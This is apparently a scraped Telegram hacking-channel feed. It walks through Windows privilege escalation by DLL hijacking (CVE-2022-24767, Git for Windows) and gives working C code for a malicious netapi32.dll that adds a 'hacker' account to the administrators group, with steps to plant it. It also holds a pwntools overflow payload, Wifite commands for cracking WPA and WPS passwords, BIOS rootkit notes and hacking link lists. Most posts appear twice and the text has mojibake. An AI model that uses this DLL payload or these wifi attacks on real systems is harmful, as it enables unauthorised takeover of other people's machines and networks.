Forwarded from Exploiting Crew (Pr1vAt3)
6๏ธโฃ Directory permissions and file hijacking
Through the CreateProcess test program above, we can see that some irregular coding habits may cause the program to behave unexpectedly, which poses a potential security risk. In this case, if the relevant directory is set to weak permissions, such as c:\program files\sub dir\, the directory permissions are improperly set, resulting in an attacker with normal permissions being able to write malicious files in the directory and use file hijacking to achieve the purpose of privilege escalation. Next, let's use several real CVE cases to explore the possible harm caused by file hijacking caused by weak permission directories.
Through the CreateProcess test program above, we can see that some irregular coding habits may cause the program to behave unexpectedly, which poses a potential security risk. In this case, if the relevant directory is set to weak permissions, such as c:\program files\sub dir\, the directory permissions are improperly set, resulting in an attacker with normal permissions being able to write malicious files in the directory and use file hijacking to achieve the purpose of privilege escalation. Next, let's use several real CVE cases to explore the possible harm caused by file hijacking caused by weak permission directories.
Forwarded from Exploiting Crew (Pr1vAt3)
7๏ธโฃCase Analysis
EXE hijacking caused by weak permission directory:
> during the uninstallation of the Citrix program, the CreateProcess API is called to execute the file TrolleyExpress.exe (C:\ProgramData\Citrix\Citrix Workspace 1911\TrolleyExpress.exe). Due to the unquoted path, the program attempts to load C:\ProgramData\Citrix\Citrix.exe. The path C:\ProgramData\Citrix\ has weak permissions. An attacker can write a malicious Citrix.exe to the path and wait for the administrator to uninstall the Citrix Workspace application. The malicious Citrix.exe will be executed to elevate permissions.
EXE hijacking caused by weak permission directory:
> during the uninstallation of the Citrix program, the CreateProcess API is called to execute the file TrolleyExpress.exe (C:\ProgramData\Citrix\Citrix Workspace 1911\TrolleyExpress.exe). Due to the unquoted path, the program attempts to load C:\ProgramData\Citrix\Citrix.exe. The path C:\ProgramData\Citrix\ has weak permissions. An attacker can write a malicious Citrix.exe to the path and wait for the administrator to uninstall the Citrix Workspace application. The malicious Citrix.exe will be executed to elevate permissions.
Forwarded from Exploiting Crew (Pr1vAt3)
8๏ธโฃLocal privilege escalation due to weak system directory permissions:
CVE-2022-24767: The uninstaller for Git for Windows is vulnerable to DLL hijacking when running under the SYSTEM user account
The system user uninstalls the Git for Windows program. By monitoring the program behavior, you will find that the Git uninstaller will try to C:\Windows\Tempload the dll from the directory.
CVE-2022-24767: The uninstaller for Git for Windows is vulnerable to DLL hijacking when running under the SYSTEM user account
The system user uninstalls the Git for Windows program. By monitoring the program behavior, you will find that the Git uninstaller will try to C:\Windows\Tempload the dll from the directory.
Forwarded from Exploiting Crew (Pr1vAt3)
9๏ธโฃ Since ordinary users also have C:\Windows\Tempwrite permissions to the directory, low-privilege attackers can write malicious dlls to C:\Windows\Tempthe directory. When the system user uninstalls the Git program, the malicious dll will run, and the attacker can achieve the purpose of privilege escalation.
Forwarded from Exploiting Crew (Pr1vAt3)
1๏ธโฃ0๏ธโฃwe try to execute malicious code by hijacking netapi32.dll.
Malicious netapi32.dll test code:
After the compilation is complete, put netapi32.dll in the C:\Windows\Temp directory. When the system user uninstalls the Git for Windows program, you will find that the malicious dll is executed and a user hacker is successfully added to the administrator group.
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
Malicious netapi32.dll test code:
#include<stdio.h>
#include<windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe \"/k net user hacker password /add && net localgroup administrators hacker /add && net localgroup administrators\"");
ExitProcess(0);
}
return TRUE;
}
After the compilation is complete, put netapi32.dll in the C:\Windows\Temp directory. When the system user uninstalls the Git for Windows program, you will find that the malicious dll is executed and a user hacker is successfully added to the administrator group.
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
Forwarded from Exploiting Crew (Pr1vAt3)
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
๐ฆ BIOS-level rootkit attack, also known as a persistent BIOS attack, is an exploit in which the BIOS is flashed (updated) with malicious code. A BIOS rootkit is programming that enables remote administration.
The BIOS (basic input/output system) is firmware that resides in memory and runs while a computer boots up. Because the BIOS is stored in memory rather than on the hard disk drive, a BIOS rootkit can survive conventional attempts to get rid of malware, including reformatting or replacing the hard drive.
Originally, the BIOS firmware was hard-coded and read-only. Now, however, manufacturers generally use an erasable format, such as flash memory so that the BIOS can be easily updated remotely. The use of an erasable format that can be updated over the Internet makes updates easier but also leaves the BIOS vulnerable to online attack.
A BIOS attack does not require any vulnerability on the target system -- once an attacker gains administrative-level privileges, he can flash the BIOS over the Internet with malware-laden firmware. On ars technica, Joel Hruska describes one BIOS rootkit attack:
The aforementioned attack consists of dumping the new BIOS into flashrom (a BIOS read/write/modify utility), making the necessary changes, adjusting all of the checksums to ensure the hacked BIOS will verify as authenticโฆ and flashing. Voila! One evil BIOS.
Some researchers fear that a BIOS rootkit poses a special threat for cloud computing environments, in which multiple virtual machines (VM) exist on a single physical system.
Methods of preventing BIOS rootkit attacks include:
Implementing digital signature technology to prevent unauthorized access
Making the BIOS non-writeable
Burning a hardware cryptographic key into the BIOS at manufacture that can be used to verify that the code has not been altered.
If an unauthorized BIOS-level rootkit is detected, the only way to get rid of it is to physically remove and replace the memory where the BIOS resides.
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
๐ฆ BIOS-level rootkit attack, also known as a persistent BIOS attack, is an exploit in which the BIOS is flashed (updated) with malicious code. A BIOS rootkit is programming that enables remote administration.
The BIOS (basic input/output system) is firmware that resides in memory and runs while a computer boots up. Because the BIOS is stored in memory rather than on the hard disk drive, a BIOS rootkit can survive conventional attempts to get rid of malware, including reformatting or replacing the hard drive.
Originally, the BIOS firmware was hard-coded and read-only. Now, however, manufacturers generally use an erasable format, such as flash memory so that the BIOS can be easily updated remotely. The use of an erasable format that can be updated over the Internet makes updates easier but also leaves the BIOS vulnerable to online attack.
A BIOS attack does not require any vulnerability on the target system -- once an attacker gains administrative-level privileges, he can flash the BIOS over the Internet with malware-laden firmware. On ars technica, Joel Hruska describes one BIOS rootkit attack:
The aforementioned attack consists of dumping the new BIOS into flashrom (a BIOS read/write/modify utility), making the necessary changes, adjusting all of the checksums to ensure the hacked BIOS will verify as authenticโฆ and flashing. Voila! One evil BIOS.
Some researchers fear that a BIOS rootkit poses a special threat for cloud computing environments, in which multiple virtual machines (VM) exist on a single physical system.
Methods of preventing BIOS rootkit attacks include:
Implementing digital signature technology to prevent unauthorized access
Making the BIOS non-writeable
Burning a hardware cryptographic key into the BIOS at manufacture that can be used to verify that the code has not been altered.
If an unauthorized BIOS-level rootkit is detected, the only way to get rid of it is to physically remove and replace the memory where the BIOS resides.
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
Forwarded from Exploiting Crew (Pr1vAt3)
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
๐ฆ ๐๐๐ ๐๐๐ ๐๐๐๐๐๐๐๐ ๐๐๐๐๐๐๐ - ๐๐๐๐๐๐๐
#IoT and embedded devices are often used in critical infrastructure, such as healthcare devices or industrial control systems, which makes the security of these devices even more crucial.
๐ก๐ธ๐๐๐๐ ๐๐๐๐๐๐ ๐๐
Hardware refers to the physical components of a computer system or electronic device, while IoT refers to the network of connected devices that can communicate with each other over the internet.
While there is overlap between these concepts, they refer to different aspects of computer and electronic systems.
๐ ๐๐จ๐ฐ ๐ญ๐จ ๐๐๐ ๐ข๐ง?
๐ A Red Team Guide for a Hardware Penetration Test by Adam Toscher
โญPart 1: https://lnkd.in/eRUtq6Ne
โญPart 2: https://lnkd.in/ezjwNuP6
๐Hardware Hacking Curiosity by ๐บ Adrien Lasalle
https://lnkd.in/eeDp-iq6
๐ IoT Security 101 by V33RU
https://lnkd.in/eZ2QGhdJ
๐ Awesome Hardware Hacking and IoT by Joas A Santos
https://lnkd.in/eyXnbKBv
๐ IoT Village youtube channel
https://lnkd.in/eHEuww7w
๐ UART Hardware Hacking Cheat Sheet by Marcel Rick-Cen
https://lnkd.in/edpyHG2B
๐IoT Pentesting guide by Aditya Gupta and Attify
https://lnkd.in/ekBmcSNd
๐ IoT Security Resources for beginner by Nayana Dhanesh
https://lnkd.in/eAmTvWnj
๐ Firmware analysis on HackTricks
https://lnkd.in/eUvMqtAZ
๐ ๐ ๐๐๐ฅ๐ข๐ง๐ ๐ซ๐๐๐๐ฒ ๐ญ๐จ ๐ญ๐ซ๐๐ข๐ง?
๐ Open Security Training
https://p.ost2.fyi/
๐ Hackaday courses
https://lnkd.in/e3yhaZTB
๐ Intro to IoT pentest on TryHackMe
https://lnkd.in/ewjUM-Tc
๐ ๐๐จ๐ฆ๐ ๐ข๐ง๐ญ๐๐ซ๐๐ฌ๐ญ๐ข๐ง๐ ๐ซ๐๐๐๐ฌ
๐ IOT Security Foundation
https://lnkd.in/ecGudjgn
๐ Awesome IoT Hacks by nebgnahz
https://lnkd.in/eQk4UBrt
๐ Hands on Internet of things hacking by Payatu
https://lnkd.in/eqEEJriu
๐ ๐๐๐๐๐ ๐๐๐ ๐๐๐๐๐๐๐๐๐
๐ Scared by eshard - side-channel analysis framework
https://lnkd.in/eZhb_we3
๐NewAE Technology Inc.โs Github repo
https://lnkd.in/eiuZDCfb
๐Ledger Donjonโs repo by Ledger Security research team
https://lnkd.in/eEhA4FMh
๐IoT-PT an OS for IoT pentest by v33ru
https://lnkd.in/evuB7X_Z
๐ ๐๐ก๐๐ญ ๐๐๐จ๐ฎ๐ญ ๐ญ๐ก๐ ๐ฌ๐ญ๐๐ง๐๐๐ซ๐๐ฌ?
๐ The OWASPยฎ Foundation IoT Project:
https://lnkd.in/ev7TrRf9
๐ NIST Cybersecurity for IOT Program
https://lnkd.in/eq8k8BwG
๐ Hardware Security Module NIST
https://lnkd.in/eXcGvAwV
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
๐ฆ ๐๐๐ ๐๐๐ ๐๐๐๐๐๐๐๐ ๐๐๐๐๐๐๐ - ๐๐๐๐๐๐๐
#IoT and embedded devices are often used in critical infrastructure, such as healthcare devices or industrial control systems, which makes the security of these devices even more crucial.
๐ก๐ธ๐๐๐๐ ๐๐๐๐๐๐ ๐๐
Hardware refers to the physical components of a computer system or electronic device, while IoT refers to the network of connected devices that can communicate with each other over the internet.
While there is overlap between these concepts, they refer to different aspects of computer and electronic systems.
๐ ๐๐จ๐ฐ ๐ญ๐จ ๐๐๐ ๐ข๐ง?
๐ A Red Team Guide for a Hardware Penetration Test by Adam Toscher
โญPart 1: https://lnkd.in/eRUtq6Ne
โญPart 2: https://lnkd.in/ezjwNuP6
๐Hardware Hacking Curiosity by ๐บ Adrien Lasalle
https://lnkd.in/eeDp-iq6
๐ IoT Security 101 by V33RU
https://lnkd.in/eZ2QGhdJ
๐ Awesome Hardware Hacking and IoT by Joas A Santos
https://lnkd.in/eyXnbKBv
๐ IoT Village youtube channel
https://lnkd.in/eHEuww7w
๐ UART Hardware Hacking Cheat Sheet by Marcel Rick-Cen
https://lnkd.in/edpyHG2B
๐IoT Pentesting guide by Aditya Gupta and Attify
https://lnkd.in/ekBmcSNd
๐ IoT Security Resources for beginner by Nayana Dhanesh
https://lnkd.in/eAmTvWnj
๐ Firmware analysis on HackTricks
https://lnkd.in/eUvMqtAZ
๐ ๐ ๐๐๐ฅ๐ข๐ง๐ ๐ซ๐๐๐๐ฒ ๐ญ๐จ ๐ญ๐ซ๐๐ข๐ง?
๐ Open Security Training
https://p.ost2.fyi/
๐ Hackaday courses
https://lnkd.in/e3yhaZTB
๐ Intro to IoT pentest on TryHackMe
https://lnkd.in/ewjUM-Tc
๐ ๐๐จ๐ฆ๐ ๐ข๐ง๐ญ๐๐ซ๐๐ฌ๐ญ๐ข๐ง๐ ๐ซ๐๐๐๐ฌ
๐ IOT Security Foundation
https://lnkd.in/ecGudjgn
๐ Awesome IoT Hacks by nebgnahz
https://lnkd.in/eQk4UBrt
๐ Hands on Internet of things hacking by Payatu
https://lnkd.in/eqEEJriu
๐ ๐๐๐๐๐ ๐๐๐ ๐๐๐๐๐๐๐๐๐
๐ Scared by eshard - side-channel analysis framework
https://lnkd.in/eZhb_we3
๐NewAE Technology Inc.โs Github repo
https://lnkd.in/eiuZDCfb
๐Ledger Donjonโs repo by Ledger Security research team
https://lnkd.in/eEhA4FMh
๐IoT-PT an OS for IoT pentest by v33ru
https://lnkd.in/evuB7X_Z
๐ ๐๐ก๐๐ญ ๐๐๐จ๐ฎ๐ญ ๐ญ๐ก๐ ๐ฌ๐ญ๐๐ง๐๐๐ซ๐๐ฌ?
๐ The OWASPยฎ Foundation IoT Project:
https://lnkd.in/ev7TrRf9
๐ NIST Cybersecurity for IOT Program
https://lnkd.in/eq8k8BwG
๐ Hardware Security Module NIST
https://lnkd.in/eXcGvAwV
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
๐ฆ Support & Share: t.me/undercodecommunity
This is the hub for Ethical Hackers and tech enthusiasts:
ใTopics We Cover:
1๏ธโฃ CVE News & Databases
2๏ธโฃ Hacker & Tech News
3๏ธโฃ Cybersecurity, Hacking, and Secret Methods
๐ Our Mission:
Share your knowledge, collaborate, and grow together in a community designed for innovation and learning.
๐ Join now: bit.ly/joinundercode
@UndercodeCommunity
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
๐ฆ Support & Share: t.me/undercodecommunity
This is the hub for Ethical Hackers and tech enthusiasts:
ใTopics We Cover:
1๏ธโฃ CVE News & Databases
2๏ธโฃ Hacker & Tech News
3๏ธโฃ Cybersecurity, Hacking, and Secret Methods
๐ Our Mission:
Share your knowledge, collaborate, and grow together in a community designed for innovation and learning.
๐ Join now: bit.ly/joinundercode
@UndercodeCommunity
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
๐ฆPopular Exploit development library:
ใPwntools (https://github.com/Gallopsled/pwntools) is a popular CTF (Capture The Flag) framework and exploit development library written in Python. It provides tools and features that streamline the process of writing, testing, and executing exploits, especially for binary exploitation challenges.
Key Features:
- Automated Exploit Scripts**: Easily interact with remote or local binaries.
- ROP (Return Oriented Programming): Simplifies creating ROP chains.
- Tubes: Abstraction for handling sockets, SSH, or processes.
- Assembler/Disassembler: Integrates tools like Capstone and Keystone.
- Debugging Utilities: Interfaces with GDB for dynamic analysis.
- Custom Shellcodes: Generate shellcode tailored to your needs.
Requirements:
Pwntools is compatible with Python 3 and can be installed via pip:
pip install pwntools
Example Usage:
Hereโs a basic example of using Pwntools to exploit a binary:
from pwn import *
# Connect to the remote service
conn = remote('example.com', 1337)
# Send payload
payload = b'A' * 64 + b'\xdeadbeef'
conn.sendline(payload)
# Interact with the shell
conn.interactive()
Check out the repository for detailed documentation and examples.
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
๐ฆPopular Exploit development library:
ใPwntools (https://github.com/Gallopsled/pwntools) is a popular CTF (Capture The Flag) framework and exploit development library written in Python. It provides tools and features that streamline the process of writing, testing, and executing exploits, especially for binary exploitation challenges.
Key Features:
- Automated Exploit Scripts**: Easily interact with remote or local binaries.
- ROP (Return Oriented Programming): Simplifies creating ROP chains.
- Tubes: Abstraction for handling sockets, SSH, or processes.
- Assembler/Disassembler: Integrates tools like Capstone and Keystone.
- Debugging Utilities: Interfaces with GDB for dynamic analysis.
- Custom Shellcodes: Generate shellcode tailored to your needs.
Requirements:
Pwntools is compatible with Python 3 and can be installed via pip:
pip install pwntools
Example Usage:
Hereโs a basic example of using Pwntools to exploit a binary:
from pwn import *
# Connect to the remote service
conn = remote('example.com', 1337)
# Send payload
payload = b'A' * 64 + b'\xdeadbeef'
conn.sendline(payload)
# Interact with the shell
conn.interactive()
Check out the repository for detailed documentation and examples.
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
GitHub
GitHub - Gallopsled/pwntools: CTF framework and exploit development library
CTF framework and exploit development library. Contribute to Gallopsled/pwntools development by creating an account on GitHub.
Forwarded from Exploiting Crew (Pr1vAt3)
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
๐ฆC++ scanner that retrieves tuples from a PostgreSQL database and scans them for malware:
Hereโs a simple C++ scanner that connects to a PostgreSQL database to retrieve tuples and checks them for malware. In this example, I'll assume the tuples are strings that need to be compared against a predefined list of known malware signatures.
- Security: This example does not implement secure credential handling (such as using a .pgpass file) and lacks measures to protect against SQL injection.
- Malware Detection: The method for detecting malware here is quite basic. In a real application, you would want to employ more advanced techniques, potentially involving hash checks against a comprehensive database of malware signatures.
- Error Handling: Itโs important to include proper error handling for code intended for production use.
- Dependencies: Make sure you have the libpqxx library installed, which provides the C++ API for PostgreSQL.
Ref: Maximilian Feldthusen
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
๐ฆC++ scanner that retrieves tuples from a PostgreSQL database and scans them for malware:
Hereโs a simple C++ scanner that connects to a PostgreSQL database to retrieve tuples and checks them for malware. In this example, I'll assume the tuples are strings that need to be compared against a predefined list of known malware signatures.
- Security: This example does not implement secure credential handling (such as using a .pgpass file) and lacks measures to protect against SQL injection.
- Malware Detection: The method for detecting malware here is quite basic. In a real application, you would want to employ more advanced techniques, potentially involving hash checks against a comprehensive database of malware signatures.
- Error Handling: Itโs important to include proper error handling for code intended for production use.
- Dependencies: Make sure you have the libpqxx library installed, which provides the C++ API for PostgreSQL.
Ref: Maximilian Feldthusen
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
Forwarded from Exploiting Crew (Pr1vAt3)
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
๐ฆWhat is eBPF? ๐คทโ๏ธ
With Cisco Hypershield being talked about EVERYWHERE, wouldn't it be great to know a little more about the technology that the solution is predominantly built around?
eBPF (extended Berkeley Packet Filter) is a technology that lets you run secure programs within the operating system kernel. This unlocks incredible power to monitor and control systems at a granular level, without the overhead of traditional methods.
Why eBPF Matters:
โข ๐จ๐ป๐น๐ฒ๐ฎ๐๐ต๐ฒ๐ ๐๐ป๐ป๐ผ๐๐ฎ๐๐ถ๐ผ๐ป: eBPF allows developers to extend kernel functionality without modifying kernel code, enabling rapid innovation in networking, security, and observability.
โข ๐๐ผ๐ผ๐๐๐ ๐ฃ๐ฒ๐ฟ๐ณ๐ผ๐ฟ๐บ๐ฎ๐ป๐ฐ๐ฒ: eBPF programs run with incredible efficiency, minimising performance impact and maximising resource utilisation.
โข ๐๐ป๐ต๐ฎ๐ป๐ฐ๐ฒ๐ ๐ฆ๐ฒ๐ฐ๐๐ฟ๐ถ๐๐: Gain deep visibility into system behavior, detect threats in real-time, and enforce granular security policies at the kernel level.
โข ๐ฆ๐ถ๐บ๐ฝ๐น๐ถ๐ณ๐ถ๐ฒ๐ ๐ข๐ฏ๐๐ฒ๐ฟ๐๐ฎ๐ฏ๐ถ๐น๐ถ๐๐: Collect rich, detailed data on system performance and application behavior for faster troubleshooting and optimisation.
Ref: Antony Owen
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
๐ฆWhat is eBPF? ๐คทโ๏ธ
With Cisco Hypershield being talked about EVERYWHERE, wouldn't it be great to know a little more about the technology that the solution is predominantly built around?
eBPF (extended Berkeley Packet Filter) is a technology that lets you run secure programs within the operating system kernel. This unlocks incredible power to monitor and control systems at a granular level, without the overhead of traditional methods.
Why eBPF Matters:
โข ๐จ๐ป๐น๐ฒ๐ฎ๐๐ต๐ฒ๐ ๐๐ป๐ป๐ผ๐๐ฎ๐๐ถ๐ผ๐ป: eBPF allows developers to extend kernel functionality without modifying kernel code, enabling rapid innovation in networking, security, and observability.
โข ๐๐ผ๐ผ๐๐๐ ๐ฃ๐ฒ๐ฟ๐ณ๐ผ๐ฟ๐บ๐ฎ๐ป๐ฐ๐ฒ: eBPF programs run with incredible efficiency, minimising performance impact and maximising resource utilisation.
โข ๐๐ป๐ต๐ฎ๐ป๐ฐ๐ฒ๐ ๐ฆ๐ฒ๐ฐ๐๐ฟ๐ถ๐๐: Gain deep visibility into system behavior, detect threats in real-time, and enforce granular security policies at the kernel level.
โข ๐ฆ๐ถ๐บ๐ฝ๐น๐ถ๐ณ๐ถ๐ฒ๐ ๐ข๐ฏ๐๐ฒ๐ฟ๐๐ฎ๐ฏ๐ถ๐น๐ถ๐๐: Collect rich, detailed data on system performance and application behavior for faster troubleshooting and optimisation.
Ref: Antony Owen
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
๐ฆAutomated Wifi Hacking:
Wifite is a Python script designed for wireless network auditing, simplifying the use of wireless-auditing tools by automating their execution. It consolidates multiple attack methods to retrieve wireless passwords efficiently.
---
Features
- Attack Methods:
- WPS:
- Offline Pixie-Dust attack
- Online Brute-Force PIN attack
- WPA:
- Handshake Capture + offline cracking
- PMKID Hash Capture + offline cracking
- WEP:
- Fragmentation, chop-chop, aireplay, and other known attacks
- Automation:
- Select targets, and Wifite will handle the attack process automatically.
- 5GHz Support:
- Limited to compatible wireless cards (-5 switch).
- Cracked Password Storage:
- Saves results in the current directory with metadata.
- De-authentication Control:
- Disable deauths using --no-deauths.
---
Supported Operating Systems
- Designed for Kali Linux (latest version).
- Also supports ParrotSec.
- Other distributions may require manual updates of tools and wireless drivers.
---
Requirements
1. Wireless Card:
- Must support Monitor Mode and packet injection.
2. Essential Tools:
- Python (compatible with Python 2 & 3)
- Networking utilities:
- iwconfig, ifconfig
- Aircrack-ng Suite:
- airmon-ng, aircrack-ng, aireplay-ng, airodump-ng, packetforge-ng
3. Recommended Tools:
- tshark, reaver, bully, coWPAtty, pyrit, hashcat, hcxdumptool, hcxpcaptool
---
Installation
1. Clone the repository:
git clone https://github.com/derv82/wifite2.git
cd wifite2
2. Run Wifite directly:
sudo ./Wifite.py
3. Install Wifite system-wide:
sudo python setup.py install
- Installed to /usr/sbin/wifite.
4. Uninstallation:
Record and delete installed files:
sudo python setup.py install --record files.txt \
&& cat files.txt | xargs sudo rm \
&& rm -f files.txt
---
Usage
Run Wifite with default settings:
sudo ./Wifite.py
Optional arguments for specific attacks:
- PMKID capture:
--pmkid
- WPS Pixie-Dust attack:
--wps-only --pixie
- WPA handshake cracking:
--no-wps
- Disable deauth:
--no-deauths
---
Advanced Features
- Hidden SSID decloaking.
- Validation of handshakes with tools like pyrit, cowpatty, and aircrack-ng.
- WEP attack customization (e.g., replay, chopchop).
- Cracked passwords stored in the current directory with access point details.
Wifite simplifies wireless security assessments, making it an essential tool for pen testers using supported Linux distributions.
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
๐ฆAutomated Wifi Hacking:
Wifite is a Python script designed for wireless network auditing, simplifying the use of wireless-auditing tools by automating their execution. It consolidates multiple attack methods to retrieve wireless passwords efficiently.
---
Features
- Attack Methods:
- WPS:
- Offline Pixie-Dust attack
- Online Brute-Force PIN attack
- WPA:
- Handshake Capture + offline cracking
- PMKID Hash Capture + offline cracking
- WEP:
- Fragmentation, chop-chop, aireplay, and other known attacks
- Automation:
- Select targets, and Wifite will handle the attack process automatically.
- 5GHz Support:
- Limited to compatible wireless cards (-5 switch).
- Cracked Password Storage:
- Saves results in the current directory with metadata.
- De-authentication Control:
- Disable deauths using --no-deauths.
---
Supported Operating Systems
- Designed for Kali Linux (latest version).
- Also supports ParrotSec.
- Other distributions may require manual updates of tools and wireless drivers.
---
Requirements
1. Wireless Card:
- Must support Monitor Mode and packet injection.
2. Essential Tools:
- Python (compatible with Python 2 & 3)
- Networking utilities:
- iwconfig, ifconfig
- Aircrack-ng Suite:
- airmon-ng, aircrack-ng, aireplay-ng, airodump-ng, packetforge-ng
3. Recommended Tools:
- tshark, reaver, bully, coWPAtty, pyrit, hashcat, hcxdumptool, hcxpcaptool
---
Installation
1. Clone the repository:
git clone https://github.com/derv82/wifite2.git
cd wifite2
2. Run Wifite directly:
sudo ./Wifite.py
3. Install Wifite system-wide:
sudo python setup.py install
- Installed to /usr/sbin/wifite.
4. Uninstallation:
Record and delete installed files:
sudo python setup.py install --record files.txt \
&& cat files.txt | xargs sudo rm \
&& rm -f files.txt
---
Usage
Run Wifite with default settings:
sudo ./Wifite.py
Optional arguments for specific attacks:
- PMKID capture:
--pmkid
- WPS Pixie-Dust attack:
--wps-only --pixie
- WPA handshake cracking:
--no-wps
- Disable deauth:
--no-deauths
---
Advanced Features
- Hidden SSID decloaking.
- Validation of handshakes with tools like pyrit, cowpatty, and aircrack-ng.
- WEP attack customization (e.g., replay, chopchop).
- Cracked passwords stored in the current directory with access point details.
Wifite simplifies wireless security assessments, making it an essential tool for pen testers using supported Linux distributions.
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
GitHub
GitHub - derv82/wifite2: Rewrite of the popular wireless network auditor, "wifite"
Rewrite of the popular wireless network auditor, "wifite" - derv82/wifite2
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
๐ฆWhy Hardware Tools Are Essential in 2024 For WIFI hacking ?
1โฃincreased Security Standards:
Newer Wi-Fi standards like WPA3 implement enhanced encryption (e.g., SAE or Simultaneous Authentication of Equals) that resist traditional brute-force or offline cracking attacks.
WEP and WPA1 are now nearly obsolete, reducing opportunities for basic software-based attacks
2โฃLimitations of Built-In Laptop Wireless Cards:
Many laptop wireless cards lack support for Monitor Mode or packet injection, which are critical for capturing and injecting data during attacks.
Integrated cards are typically low-power, making them less effective for long-range or interference-prone environments.
3โฃSpecialized Tools for Specific Tasks:
Capturing PMKIDs, deauthing access points, and brute-forcing PINs now require higher performance and specialized chipsets found in dedicated hardware tools.
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
๐ฆWhy Hardware Tools Are Essential in 2024 For WIFI hacking ?
1โฃincreased Security Standards:
Newer Wi-Fi standards like WPA3 implement enhanced encryption (e.g., SAE or Simultaneous Authentication of Equals) that resist traditional brute-force or offline cracking attacks.
WEP and WPA1 are now nearly obsolete, reducing opportunities for basic software-based attacks
2โฃLimitations of Built-In Laptop Wireless Cards:
Many laptop wireless cards lack support for Monitor Mode or packet injection, which are critical for capturing and injecting data during attacks.
Integrated cards are typically low-power, making them less effective for long-range or interference-prone environments.
3โฃSpecialized Tools for Specific Tasks:
Capturing PMKIDs, deauthing access points, and brute-forcing PINs now require higher performance and specialized chipsets found in dedicated hardware tools.
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
๐ฆEssential Hardware for Wireless Auditing Wireless Network Adapters:
1โฃUSB-based adapters like the Alfa AWUS036ACH or Panda PAU09 support Monitor Mode and packet injection.
ใDual-band adapters (2.4GHz/5GHz) are necessary for modern Wi-Fi networks.
2โฃPortable Hacking Devices:
WiFi Pineapple:
A compact and powerful device for Wi-Fi auditing, man-in-the-middle attacks, and advanced monitoring.
ใRaspberry Pi with Wireless Adapter:
A cost-effective, portable platform for running tools like Wifite, Aircrack-ng, and Reaver.
ใHackRF One:
For advanced signal analysis, including software-defined radio (SDR) attacks
3โฃLong-Range Antennas:
High-gain antennas enhance the range and reliability of packet captures and injection.
4โฃ Battery-Powered Attack Platforms:
Devices like the Flipper Zero can execute simple wireless attacks without requiring a laptop.
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
1โฃUSB-based adapters like the Alfa AWUS036ACH or Panda PAU09 support Monitor Mode and packet injection.
ใDual-band adapters (2.4GHz/5GHz) are necessary for modern Wi-Fi networks.
2โฃPortable Hacking Devices:
WiFi Pineapple:
A compact and powerful device for Wi-Fi auditing, man-in-the-middle attacks, and advanced monitoring.
ใRaspberry Pi with Wireless Adapter:
A cost-effective, portable platform for running tools like Wifite, Aircrack-ng, and Reaver.
ใHackRF One:
For advanced signal analysis, including software-defined radio (SDR) attacks
3โฃLong-Range Antennas:
High-gain antennas enhance the range and reliability of packet captures and injection.
4โฃ Battery-Powered Attack Platforms:
Devices like the Flipper Zero can execute simple wireless attacks without requiring a laptop.
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
Forwarded from Exploiting Crew (Pr1vAt3)
๐ฆ๐
๐๐๐ ๐๐๐๐๐๐๐๐๐ - ๐๐๐๐๐
To acquire the basics of pentesting, it is crucial to understand what an operating system is.
As an open-source, community-developed operating system, Linux plays an essential role here.
As well as being a powerful tool for system administrators, Linux is also a powerful tool for pentesters.
In this list, you'll find various resources designed to help you understand and start with Linux.
๐๐ช๐๐๐ง ๐๐ฆ ๐๐๐ก๐จ๐ซ?
๐What is Linux on TechTarget
https://lnkd.in/eAm2rHXj
๐What is Linux on Linux.com
https://lnkd.in/eTwMHeCM
๐๐๐๐ก๐จ๐ซ ๐๐ข๐ฅ ๐๐๐๐๐ก๐ก๐๐ฅ๐ฆ
๐Linux journey by Cindy Quach
https://linuxjourney.com/
๐Your linux guide by LinuxOpSys
https://linuxopsys.com/
๐Crash Course for Beginners by freeCodeCamp
https://lnkd.in/eF9P79U4
๐Linux Full Course for Beginners by FreeCodeCamp
https://lnkd.in/eGhw9Qy3
๐How Linux Works by Gwyneth Peรฑa-Siguenza
https://lnkd.in/eDZt4CKA
๐NDG Linux Unhatched by Netacad
https://lnkd.in/ebmPF9ev
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
To acquire the basics of pentesting, it is crucial to understand what an operating system is.
As an open-source, community-developed operating system, Linux plays an essential role here.
As well as being a powerful tool for system administrators, Linux is also a powerful tool for pentesters.
In this list, you'll find various resources designed to help you understand and start with Linux.
